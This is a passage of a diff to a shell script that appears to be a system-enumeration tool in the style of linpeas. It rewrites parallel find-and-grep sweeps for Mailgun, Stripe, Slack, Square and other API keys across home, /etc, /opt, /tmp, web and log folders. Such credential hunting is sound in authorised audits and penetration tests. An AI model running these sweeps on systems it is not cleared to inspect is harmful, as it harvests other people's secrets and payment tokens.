120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Mailgun API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Mailgun API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Picatic API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Picatic API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Slack Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & +print_3title_no_nl "Searching Slack Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Stripe API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & +print_3title_no_nl "Searching Stripe API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Square Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & +print_3title_no_nl "Searching Square Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Square Oauth Secret (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} 